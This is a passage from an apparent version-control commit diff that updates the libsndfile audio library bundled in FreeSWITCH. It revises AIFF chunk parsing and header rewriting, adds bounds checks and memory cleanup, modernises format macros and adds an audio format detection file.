+						psf_binheader_readf (psf, "j", dword + (dword & 1)) ;
+						break ;
+						} ;
+
 					cptr = psf->u.cbuf ;
-					psf_binheader_readf (psf, "b", cptr, dword + (dword & 1)) ;
+					psf_binheader_readf (psf, "mb", &appl_marker, cptr, dword + (dword & 1) - 4) ;
 					cptr [dword] = 0 ;
 
 					for (k = 0 ; k < (int) dword ; k++)
@@ -590,15 +635,17 @@
 							break ;
 							} ;
 
-					psf_log_printf (psf, " %M : %s\n", marker, cptr) ;
+					psf_log_printf (psf, " %M : %d\n  AppSig : %M\n  Name   : %s\n", marker, dword, appl_marker, cptr) ;
 					psf_store_string (psf, SF_STR_SOFTWARE, cptr) ;
+					} ;
 					break ;
 
 			case NAME_MARKER :
 					psf_binheader_readf (psf, "E4", &dword) ;
+					pchk4_store (&paiff->chunk4, marker, psf_ftell (psf) - 8, dword) ;
 					if (dword == 0)
 						break ;
-					if (dword > SIGNED_SIZEOF (psf->u.scbuf) - 2)
+					if (dword >= SIGNED_SIZEOF (psf->u.scbuf) - 2)
 					{	psf_log_printf (psf, " %M : %d (too big)\n", marker, dword) ;
 						return SFE_INTERNAL ;
 						} ;
@@ -612,9 +659,10 @@
 
 			case ANNO_MARKER :
 					psf_binheader_readf (psf, "E4", &dword) ;
+					pchk4_store (&paiff->chunk4, marker, psf_ftell (psf) - 8, dword) ;
 					if (dword == 0)
 						break ;
-					if (dword > SIGNED_SIZEOF (psf->u.scbuf) - 2)
+					if (dword >= SIGNED_SIZEOF (psf->u.scbuf) - 2)
 					{	psf_log_printf (psf, " %M : %d (too big)\n", marker, dword) ;
 						return SFE_INTERNAL ;
 						} ;
@@ -628,6 +676,7 @@
 
 			case INST_MARKER :
 					psf_binheader_readf (psf, "E4", &dword) ;
+					pchk4_store (&paiff->chunk4, marker, psf_ftell (psf) - 8, dword) ;
 					if (dword != SIZEOF_INST_CHUNK)
 					{	psf_log_printf (psf, " %M : %d (should be %d)\n", marker, dword, SIZEOF_INST_CHUNK) ;
 						psf_binheader_readf (psf, "j", dword) ;
@@ -679,7 +728,7 @@
 						loop_mode = get_loop_mode_str (mode) ;
 						mode = get_loop_mode (mode) ;
 						if (mode == SF_LOOP_NONE)
-							psf->instrument->loops [0].mode = SF_LOOP_NONE ;
+							psf->instrument->loops [1].mode = SF_LOOP_NONE ;
 						else
 						{	psf->instrument->loop_count += 1 ;
 							psf->instrument->loops [1].mode = SF_LOOP_FORWARD ;
@@ -695,6 +744,7 @@
 
 			case basc_MARKER :
 					psf_binheader_readf (psf, "E4", &dword) ;
+					pchk4_store (&paiff->chunk4, marker, psf_ftell (psf) - 8, dword) ;
 					psf_log_printf (psf, " basc : %u\n", dword) ;
 
 					if ((error = aiff_read_basc_chunk (psf, dword)))
@@ -703,6 +753,7 @@
 
 			case MARK_MARKER :
 					psf_binheader_readf (psf, "E4", &dword) ;
+					pchk4_store (&paiff->chunk4, marker, psf_ftell (psf) - 8, dword) ;
 					psf_log_printf (psf, " %M : %d\n", marker, dword) ;
 					{	unsigned short mark_id, n = 0 ;
 						unsigned char pstr_len ;
@@ -710,20 +761,27 @@
 
 						bytesread = psf_binheader_readf (psf, "E2", &n) ;
 						mark_count = n ;
-						markstr = calloc (mark_count, sizeof (MARK_ID_POS)) ;
 						psf_log_printf (psf, "  Count : %d\n", mark_count) ;
+						if (paiff->markstr != NULL)
+						{	psf_log_printf (psf, "*** Second MARK chunk found. Throwing away the first.\n") ;
+							free (paiff->markstr) ;
+							} ;
+						paiff->markstr = calloc (mark_count, sizeof (MARK_ID_POS)) ;
+						if (paiff->markstr == NULL)
+							return SFE_MALLOC_FAILED ;
 
 						for (n = 0 ; n < mark_count && bytesread < dword ; n++)
 						{	bytesread += psf_binheader_readf (psf, "E241", &mark_id, &position, &pstr_len) ;
 							psf_log_printf (psf, "   Mark ID  : %u\n   Position : %u\n", mark_id, position) ;
 
-							pstr_len += (pstr_len & 1) + 1 ; /* fudgy, fudgy, hack, hack */
+							pstr_len += (pstr_len & 1) ? 0 : 1 ;
 
 							bytesread += psf_binheader_readf (psf, "b", psf->u.scbuf, pstr_len) ;
+							psf->u.scbuf [pstr_len] = 0 ;
 							psf_log_printf (psf, "   Name     : %s\n", psf->u.scbuf) ;
 
-							markstr [n].markerID = mark_id ;
-							markstr [n].position = position ;
+							paiff->markstr [n].markerID = mark_id ;
+							paiff->markstr [n].position = position ;
 							/*
 							**	TODO if psf->u.scbuf is equal to
 							**	either Beg_loop, Beg loop or beg loop and spam
@@ -742,6 +800,7 @@
 
 			case SFX_MARKER :
 					psf_binheader_readf (psf, "E4", &dword) ;
+					pchk4_store (&paiff->chunk4, marker, psf_ftell (psf) - 8, dword) ;
 					psf_log_printf (psf, " %M : %d\n", marker, dword) ;
 
 					psf_binheader_readf (psf, "j", dword) ;
@@ -786,16 +845,13 @@
 
 		for (j = 0 ; j<psf->instrument->loop_count ; j ++)
 		{	if (j < ARRAY_LEN (psf->instrument->loops))
-			{	psf->instrument->loops [j].start = marker_to_position (markstr, psf->instrument->loops [j].start, mark_count) ;
-				psf->instrument->loops [j].end = marker_to_position (markstr, psf->instrument->loops [j].end, mark_count) ;
+			{	psf->instrument->loops [j].start = marker_to_position (paiff->markstr, psf->instrument->loops [j].start, mark_count) ;
+				psf->instrument->loops [j].end = marker_to_position (paiff->markstr, psf->instrument->loops [j].end, mark_count) ;
 				psf->instrument->loops [j].mode = SF_LOOP_FORWARD ;
 				} ;
   			} ;
 		} ;
 
-	if (markstr)
-		free (markstr) ;
-
 	if (! (found_chunk & HAVE_FORM))
 		return SFE_AIFF_NO_FORM ;
 
@@ -813,7 +869,13 @@
 
 static int
 aiff_close (SF_PRIVATE *psf)
-{
+{	AIFF_PRIVATE *paiff = psf->container_data ;
+
+	if (paiff != NULL && paiff->markstr != NULL)
+	{	free (paiff->markstr) ;
+		paiff->markstr = NULL ;
+		} ;
+
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{	aiff_write_tailer (psf) ;
 		aiff_write_header (psf, SF_TRUE) ;
@@ -840,23 +902,31 @@
 	psf_binheader_readf (psf, "E242b", &(comm_fmt->numChannels), &(comm_fmt->numSampleFrames),
 			&(comm_fmt->sampleSize), &(comm_fmt->sampleRate), SIGNED_SIZEOF (comm_fmt->sampleRate)) ;
 
+	if (comm_fmt->size > 0x10000 && (comm_fmt->size & 0xffff) == 0)
+	{	psf_log_printf (psf, " COMM : %d (0x%x) *** should be ", comm_fmt->size, comm_fmt->size) ;
+		comm_fmt->size = ENDSWAP_INT (comm_fmt->size) ;
+		psf_log_printf (psf, "%d (0x%x)\n", comm_fmt->size, comm_fmt->size) ;
+		}
+	else
+		psf_log_printf (psf, " COMM : %d\n", comm_fmt->size) ;
+
 	if (comm_fmt->size == SIZEOF_AIFF_COMM)
 		comm_fmt->encoding = NONE_MARKER ;
 	else if (comm_fmt->size == SIZEOF_AIFC_COMM_MIN)
 		bytesread += psf_binheader_readf (psf, "Em", &(comm_fmt->encoding)) ;
 	else if (comm_fmt->size >= SIZEOF_AIFC_COMM)
 	{	unsigned char encoding_len ;
+		unsigned read_len ;
 
 		bytesread += psf_binheader_readf (psf, "Em1", &(comm_fmt->encoding), &encoding_len) ;
 
+		comm_fmt->size = SF_MIN (sizeof (psf->u.scbuf), make_size_t (comm_fmt->size)) ;
 		memset (psf->u.scbuf, 0, comm_fmt->size) ;
-
-		bytesread += psf_binheader_readf (psf, "b", psf->u.scbuf,
-							comm_fmt->size - SIZEOF_AIFC_COMM + 1) ;
-		psf->u.scbuf [encoding_len] = 0 ;
+		read_len = comm_fmt->size - SIZEOF_AIFC_COMM + 1 ;
+		bytesread += psf_binheader_readf (psf, "b", psf->u.scbuf, read_len) ;
+		psf->u.scbuf [read_len + 1] = 0 ;
 		} ;
 
-	psf_log_printf (psf, " COMM : %d\n", comm_fmt->size) ;
 	psf_log_printf (psf, "  Sample Rate : %d\n", tenbytefloat2int (comm_fmt->sampleRate)) ;
 	psf_log_printf (psf, "  Frames      : %u%s\n", comm_fmt->numSampleFrames, (comm_fmt->numSampleFrames == 0 && psf->filelength > 104) ? " (Should not be 0)" : "") ;
 	psf_log_printf (psf, "  Channels    : %d\n", comm_fmt->numChannels) ;
@@ -883,11 +953,13 @@
 				break ;
 
 		case twos_MARKER :
+		case in24_MARKER :
 		case in32_MARKER :
 				psf->sf.format = (SF_ENDIAN_BIG | SF_FORMAT_AIFF | subformat) ;
 				break ;
 
 		case sowt_MARKER :
+		case ni24_MARKER :
 		case ni32_MARKER :
 				psf->endian = SF_ENDIAN_LITTLE ;
 				psf->sf.format = (SF_ENDIAN_LITTLE | SF_FORMAT_AIFF | subformat) ;
@@ -961,13 +1033,71 @@
 } /* aiff_read_comm_chunk */
 
 
+/*==========================================================================================
+*/
+
 static int
+aiff_rewrite_header (SF_PRIVATE *psf, AIFF_PRIVATE * paiff)
+{
+	/* Assuming here that the header has already been written and just
+	** needs to be corrected for new data length. That means that we
+	** only change the length fields of the FORM and SSND chunks ;
+	** everything else can be skipped over.
+	*/
+	int k, ch ;
+	int comm_size, comm_frames ;
+
+	psf_fseek (psf, 0, SEEK_SET) ;
+	psf_fread (psf->header, psf->dataoffset, 1, psf) ;
+
+	psf->headindex = 0 ;
+
+	for (k = 0 ; k < paiff->chunk4.count ; k++)
+	{	switch (paiff->chunk4.l [k].chunk)
+		{	case FORM_MARKER :
+				psf_binheader_writef (psf, "Etm8", FORM_MARKER, psf->filelength - 8) ;
+				break ;
+
+			case COMM_MARKER :
+				psf->headindex = paiff->chunk4.l [k].offset ;
+				comm_frames = psf->sf.frames ;
+				comm_size = paiff->chunk4.l [k].len ;
+				psf_binheader_writef (psf, "Em42t4", COMM_MARKER, comm_size, psf->sf.channels, comm_frames) ;
+				break ;
+
+			case SSND_MARKER :
+				psf->headindex = paiff->chunk4.l [k].offset ;
+				psf_binheader_writef (psf, "Etm8", SSND_MARKER, psf->datalength + SIZEOF_SSND_CHUNK) ;
+				break ;
+
+			case PEAK_MARKER :
+				psf->headindex = paiff->chunk4.l [k].offset ;
+				psf_binheader_writef (psf, "Em4", PEAK_MARKER, AIFF_PEAK_CHUNK_SIZE (psf->sf.channels)) ;
+				psf_binheader_writef (psf, "E44", 1, time (NULL)) ;
+				for (ch = 0 ; ch < psf->sf.channels ; ch++)
+					psf_binheader_writef (psf, "Eft8", (float) psf->peak_info->peaks [ch].value, psf->peak_info->peaks [ch].position) ;
+				break ;
+
+			default :
+				/* There are a whole bunch of chunks we should just ignore. */
+				break ;
+			} ;
+		} ;
+
+	/* Header mangling complete so write it out. */
+	psf_fseek (psf, 0, SEEK_SET) ;
+	psf_fwrite (psf->header, psf->headindex, 1, psf) ;
+
+	return 0 ;
+} /* aiff_rewrite_header */
+
+static int
 aiff_write_header (SF_PRIVATE *psf, int calc_length)
 {	sf_count_t		current ;
 	AIFF_PRIVATE	*paiff ;
 	unsigned char	comm_sample_rate [10], comm_zero_bytes [2] = { 0, 0 } ;
-	unsigned int	comm_type, comm_size, comm_encoding, comm_frames ;
-	int				k, endian ;
+	unsigned int	comm_type, comm_size, comm_encoding, comm_frames = 0 ;
+	int				k, endian, has_data = SF_FALSE ;
 	short			bit_width ;
 
 	if ((paiff = psf->container_data) == NULL)
@@ -975,6 +1105,9 @@
 
 	current = psf_ftell (psf) ;
 
+	if (current > psf->dataoffset)
+		has_data = SF_TRUE ;
+
 	if (calc_length)
 	{	psf->filelength = psf_get_filelen (psf) ;
 
@@ -986,43 +1119,14 @@
 			psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
 		} ;
 
-	if (psf->mode == SFM_RDWR && psf->dataoffset > 0)
-	{	/* Assuming here that the header has already been written and just
-		** needs to be corrected for new data length. That means that we
-		** only change the length fields of the FORM and SSND chunks ;
-		** everything else can be skipped over.
-		*/
-
-		/* First write new FORM chunk. */
-		psf->headindex = 0 ;
-		psf_fseek (psf, 0, SEEK_SET) ;
-
-		psf_binheader_writef (psf, "Etm8", FORM_MARKER, psf->filelength - 8) ;
-		psf_fwrite (psf->header, psf->headindex, 1, psf) ;
-
-		/* Now write frame count field of COMM chunk header. */
-		psf->headindex = 0 ;
-		psf_fseek (psf, paiff->comm_offset + 10, SEEK_SET) ;
-
-		psf_binheader_writef (psf, "Et8", psf->sf.frames) ;
-		psf_fwrite (psf->header, psf->headindex, 1, psf) ;
-
-		/* Now write new SSND chunk header. */
-		psf->headindex = 0 ;
-		psf_fseek (psf, paiff->ssnd_offset, SEEK_SET) ;
-
-		psf_binheader_writef (psf, "Etm8", SSND_MARKER, psf->datalength + SIZEOF_SSND_CHUNK) ;
-		psf_fwrite (psf->header, psf->headindex, 1, psf) ;
-
-		if (current < psf->dataoffset)
-			psf_fseek (psf, psf->dataoffset, SEEK_SET) ;
-		else if (current > 0)
+	if (psf->mode == SFM_RDWR && psf->dataoffset > 0 && paiff->chunk4.count > 0)
+	{	int err = aiff_rewrite_header (psf, paiff) ;
+		if (current > 0)
 			psf_fseek (psf, current, SEEK_SET) ;
-
-		return 0 ;
+		return err ;
 		} ;
 
-	endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+	endian = SF_ENDIAN (psf->sf.format) ;
 	if (CPU_IS_LITTLE_ENDIAN && endian == SF_ENDIAN_CPU)
 		endian = SF_ENDIAN_LITTLE ;
 
@@ -1030,7 +1134,7 @@
 	bit_width = psf->bytewidth * 8 ;
 	comm_frames = (psf->sf.frames > 0xFFFFFFFF) ? 0xFFFFFFFF : psf->sf.frames ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 		case SF_FORMAT_PCM_16 :
 		case SF_FORMAT_PCM_24 :
@@ -1158,16 +1262,16 @@
 	/* Write AIFF/AIFC marker and COM chunk. */
 	if (comm_type == AIFC_MARKER)
 		/* AIFC must have an FVER chunk. */
-		psf_binheader_writef (psf, "Emm44m4", comm_type, FVER_MARKER, 4, 0xA2805140, COMM_MARKER, comm_size) ;
+		psf_binheader_writef (psf, "Emm44", comm_type, FVER_MARKER, 4, 0xA2805140) ;
 	else
-		psf_binheader_writef (psf, "Emm4", comm_type, COMM_MARKER, comm_size) ;
+		psf_binheader_writef (psf, "Em", comm_type) ;
 
 	paiff->comm_offset = psf->headindex - 8 ;
 
 	memset (comm_sample_rate, 0, sizeof (comm_sample_rate)) ;
 	uint2tenbytefloat (psf->sf.samplerate, comm_sample_rate) ;
 
-	psf_binheader_writef (psf, "Et242", psf->sf.channels, comm_frames, bit_width) ;
+	psf_binheader_writef (psf, "Em42t42", COMM_MARKER, comm_size, psf->sf.channels, comm_frames, bit_width) ;
 	psf_binheader_writef (psf, "b", comm_sample_rate, sizeof (comm_sample_rate)) ;
 
 	/* AIFC chunks have some extra data. */
@@ -1253,9 +1357,12 @@
 	if (psf->error)
 		return psf->error ;
 
+	if (has_data && psf->dataoffset != psf->headindex)
+		return psf->error = SFE_INTERNAL ;
+
 	psf->dataoffset = psf->headindex ;
 
-	if (current < psf->dataoffset)
+	if (! has_data)
 		psf_fseek (psf, psf->dataoffset, SEEK_SET) ;
 	else if (current > 0)
 		psf_fseek (psf, current, SEEK_SET) ;
@@ -1298,7 +1405,7 @@
 
 static void
 aiff_write_strings (SF_PRIVATE *psf, int location)
-{	int	k ;
+{	int	k, slen ;
 
 	for (k = 0 ; k < SF_MAX_STRINGS ; k++)
 	{	if (psf->strings [k].type == 0)
@@ -1309,7 +1416,8 @@
 
 		switch (psf->strings [k].type)
 		{	case SF_STR_SOFTWARE :
-				psf_binheader_writef (psf, "EmS", APPL_MARKER, psf->strings [k].str) ;
+				slen = strlen (psf->strings [k].str) ;
+				psf_binheader_writef (psf, "Em4mb", APPL_MARKER, slen + 4, m3ga_MARKER, psf->strings [k].str, make_size_t (slen + (slen & 1))) ;
 				break ;
 
 			case SF_STR_TITLE :
@@ -1340,17 +1448,8 @@
 } /* aiff_write_strings */
 
 static int
-aiff_command (SF_PRIVATE *psf, int command, void *data, int datasize)
+aiff_command (SF_PRIVATE * UNUSED (psf), int UNUSED (command), void * UNUSED (data), int UNUSED (datasize))
 {
-	/* Avoid compiler warnings. */
-	psf = psf ;
-	data = data ;
-	datasize = datasize ;
-
-	switch (command)
-	{	default : break ;
-		} ;
-
 	return 0 ;
 } /* aiff_command */
 
@@ -1448,10 +1547,11 @@
 aiff_read_basc_chunk (SF_PRIVATE * psf, int datasize)
 {	const char * type_str ;
 	basc_CHUNK bc ;
+	int count ;
 
-	psf_binheader_readf (psf, "E442", &bc.version, &bc.numBeats, &bc.rootNote) ;
-	psf_binheader_readf (psf, "E222", &bc.scaleType, &bc.sigNumerator, &bc.sigDenominator) ;
-	psf_binheader_readf (psf, "E2j", &bc.loopType, datasize - sizeof (bc)) ;
+	count = psf_binheader_readf (psf, "E442", &bc.version, &bc.numBeats, &bc.rootNote) ;
+	count += psf_binheader_readf (psf, "E222", &bc.scaleType, &bc.sigNumerator, &bc.sigDenominator) ;
+	count += psf_binheader_readf (psf, "E2j", &bc.loopType, datasize - sizeof (bc)) ;
 
 	psf_log_printf (psf, "  Version ? : %u\n  Num Beats : %u\n  Root Note : 0x%x\n",
 						bc.version, bc.numBeats, bc.rootNote) ;
@@ -1504,13 +1604,9 @@
 							* ((bc.numBeats * 4.0) / bc.sigDenominator) * 60.0 ;
 	psf->loop_info->root_key = bc.rootNote ;
 
+	if (count < datasize)
+		psf_binheader_readf (psf, "j", datasize - count) ;
+
 	return 0 ;
 } /* aiff_read_basc_chunk */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 7dec56ca-d6f2-48cf-863b-a72e7e17a5d9
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/alaw.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/alaw.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/alaw.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -16,8 +16,11 @@
 ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */
 
+#include	"sfconfig.h"
+
+#include	<math.h>
+
 #include	"sndfile.h"
-#include	"float_cast.h"
 #include	"common.h"
 
 static sf_count_t alaw_read_alaw2s (SF_PRIVATE *psf, short *ptr, sf_count_t len) ;
@@ -535,10 +538,3 @@
 	return total ;
 } /* alaw_write_d2alaw */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 289ccfc2-42a6-4f1f-a29f-4dcc9bfa8752
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/au.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/au.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/au.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -111,13 +111,13 @@
 			return error ;
 		} ;
 
-	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_AU)
+	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_AU)
 		return	SFE_BAD_OPEN_FORMAT ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
-	{	psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+	{	psf->endian = SF_ENDIAN (psf->sf.format) ;
 		if (CPU_IS_LITTLE_ENDIAN && psf->endian == SF_ENDIAN_CPU)
 			psf->endian = SF_ENDIAN_LITTLE ;
 		else if (psf->endian != SF_ENDIAN_LITTLE)
@@ -215,7 +215,7 @@
 		psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
 		} ;
 
-	encoding = au_format_to_encoding (psf->sf.format & SF_FORMAT_SUBMASK) ;
+	encoding = au_format_to_encoding (SF_CODEC (psf->sf.format)) ;
 	if (! encoding)
 		return (psf->error = SFE_BAD_OPEN_FORMAT) ;
 
@@ -352,7 +352,7 @@
 
 	psf_log_printf (psf, "  Encoding    : %d => ", au_fmt.encoding) ;
 
-	psf->sf.format = psf->sf.format & SF_FORMAT_ENDMASK ;
+	psf->sf.format = SF_ENDIAN (psf->sf.format) ;
 
 	switch (au_fmt.encoding)
 	{	case AU_ENCODING_ULAW_8 :
@@ -435,7 +435,12 @@
 		} ;
 
 	psf_log_printf (psf, "  Sample Rate : %d\n", au_fmt.samplerate) ;
-	psf_log_printf (psf, "  Channels    : %d\n", au_fmt.channels) ;
+	if (au_fmt.channels < 1)
+	{	psf_log_printf (psf, "  Channels    : %d  **** should be >= 1\n", au_fmt.channels) ;
+		return SFE_CHANNEL_COUNT_ZERO ;
+		}
+	else
+		psf_log_printf (psf, "  Channels    : %d\n", au_fmt.channels) ;
 
 	psf->blockwidth = psf->sf.channels * psf->bytewidth ;
 
@@ -444,10 +449,4 @@
 
 	return 0 ;
 } /* au_read_header */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 31f691b1-cde9-4ed2-9469-6bca60fb9cd0
-*/
+

Copied: freeswitch/branches/seven/libs/libsndfile/src/audio_detect.c (from rev 14471, freeswitch/trunk/libs/libsndfile/src/audio_detect.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/audio_detect.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/audio_detect.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,105 @@
+/*
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2.1 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU Lesser General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#if HAVE_UNISTD_H
+#include <unistd.h>
+#endif
+
+#include <string.h>
+#include <errno.h>
+
+#include "common.h"
+
+typedef struct
+{	int le_float ;
+	int be_float ;
+	int le_int_24_32 ;
+	int be_int_24_32 ;
+} VOTE ;
+
+
+static void vote_for_format (VOTE * vote, const unsigned char * data, int datalen) ;
+
+int
+audio_detect (SF_PRIVATE * psf, AUDIO_DETECT *ad, const unsigned char * data, int datalen)
+{	VOTE vote ;
+
+	if (psf == NULL)
+		return 0 ;
+
+	if (ad == NULL || datalen < 256)
+		return 0 ;
+
+	vote_for_format (&vote, data, datalen) ;
+
+	psf_log_printf (psf, "audio_detect :\n"
+			"    le_float     : %d\n"
+			"    be_float     : %d\n"
+			"    le_int_24_32 : %d\n"
+			"    be_int_24_32 : %d\n",
+			vote.le_float, vote.be_float, vote.le_int_24_32, vote.be_int_24_32) ;
+
+	if (0) puts (psf->logbuffer) ;
+
+	if (ad->endianness == SF_ENDIAN_LITTLE && vote.le_float > (3 * datalen) / 4)
+	{	/* Almost certainly 32 bit floats. */
+		return SF_FORMAT_FLOAT ;
+		} ;
+
+	if (ad->endianness == SF_ENDIAN_LITTLE && vote.le_int_24_32 > (3 * datalen) / 4)
+	{	/* Almost certainly 24 bit data stored in 32 bit ints. */
+		return SF_FORMAT_PCM_32 ;
+		} ;
+
+	return 0 ;
+} /* data_detect */
+
+static void
+vote_for_format (VOTE * vote, const unsigned char * data, int datalen)
+{
+	int k ;
+
+	memset (vote, 0, sizeof (VOTE)) ;
+
+	datalen -= datalen % 4 ;
+
+	for (k = 0 ; k < datalen ; k ++)
+	{	if ((k % 4) == 0)
+		{	if (data [k] == 0 && data [k + 1] != 0)
+				vote->le_int_24_32 += 4 ;
+
+			if (data [2] != 0 && data [3] == 0)
+				vote->le_int_24_32 += 4 ;
+
+			if (data [0] != 0 && data [3] > 0x43 && data [3] < 0x4B)
+				vote->le_float += 4 ;
+
+			if (data [3] != 0 && data [0] > 0x43 && data [0] < 0x4B)
+				vote->be_float += 4 ;
+			} ;
+		} ;
+
+	return ;
+} /* vote_for_format */
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/avr.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/avr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/avr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2004-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2004-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -85,11 +85,11 @@
 			return error ;
 		} ;
 
-	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_AVR)
+	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_AVR)
 		return	SFE_BAD_OPEN_FORMAT ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
-	{	psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+	{	psf->endian = SF_ENDIAN (psf->sf.format) ;
 		psf->endian = SF_ENDIAN_BIG ;
 
 		if (avr_write_header (psf, SF_FALSE))
@@ -215,7 +215,7 @@
 	psf_binheader_writef (psf, "Emz22", TWOBIT_MARKER, make_size_t (8),
 			psf->sf.channels == 2 ? 0xFFFF : 0, psf->bytewidth * 8) ;
 
-	sign = ((psf->sf.format & SF_FORMAT_SUBMASK) == SF_FORMAT_PCM_U8) ? 0 : 0xFFFF ;
+	sign = ((SF_CODEC (psf->sf.format)) == SF_FORMAT_PCM_U8) ? 0 : 0xFFFF ;
 
 	psf_binheader_writef (psf, "E222", sign, 0, 0xFFFF) ;
 	psf_binheader_writef (psf, "E4444", psf->sf.samplerate, psf->sf.frames, 0, 0) ;
@@ -245,10 +245,3 @@
 	return 0 ;
 } /* avr_close */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 0823d454-f39a-4a28-a776-607f1ef33b52
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/binheader_writef_check.py (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/binheader_writef_check.py	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/binheader_writef_check.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,4 +1,4 @@
-#!/usr/bin/python2.4
+#!/usr/bin/python2.5
 
 # Copyright (C) 2006 Erik de Castro Lopo <erikd@mega-nerd.com>
 #
@@ -30,6 +30,13 @@
 # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
 # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
+
+# This parses C code using regexes (yes, thats horrible) and makes sure
+# that calling conventions to the function psf_binheader_writef are
+# correct.
+
+
+
 import re, string, sys
 
 _whitespace_re = re.compile ("\s+", re.MULTILINE)
@@ -107,8 +114,3 @@
 
 print "ok"
 
-# Do not edit or modify anything in this comment block.
-# The following line is a file identity tag for the GNU Arch
-# revision control system.
-#
-# arch-tag: 4ed34789-925a-4135-af90-2e51523ca1ce

Modified: freeswitch/branches/seven/libs/libsndfile/src/broadcast.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/broadcast.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/broadcast.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /*
 ** Copyright (C) 2006 Paul Davis <paul@linuxaudiosystems.com>
-** Copyright (C) 2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2006-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -18,40 +18,169 @@
 */
 
 #include <stdio.h>
+#include <stddef.h>
 #include <string.h>
 
 #include "common.h"
 
-/*
-** Allocate and initialize a broadcast info structure.
-*/
+static void strncpy_crlf (char *dest, const char *src, size_t destmax, size_t srcmax) ;
+static int gen_coding_history (char * added_history, int added_history_max, const SF_INFO * psfinfo) ;
 
-SF_BROADCAST_INFO*
-broadcast_info_alloc (void)
-{	SF_BROADCAST_INFO* bext ;
+static inline size_t
+bc_min_size (const SF_BROADCAST_INFO* info)
+{	if (info == NULL)
+		return 0 ;
 
-	if ((bext = calloc (1, sizeof (SF_BROADCAST_INFO))) == NULL)
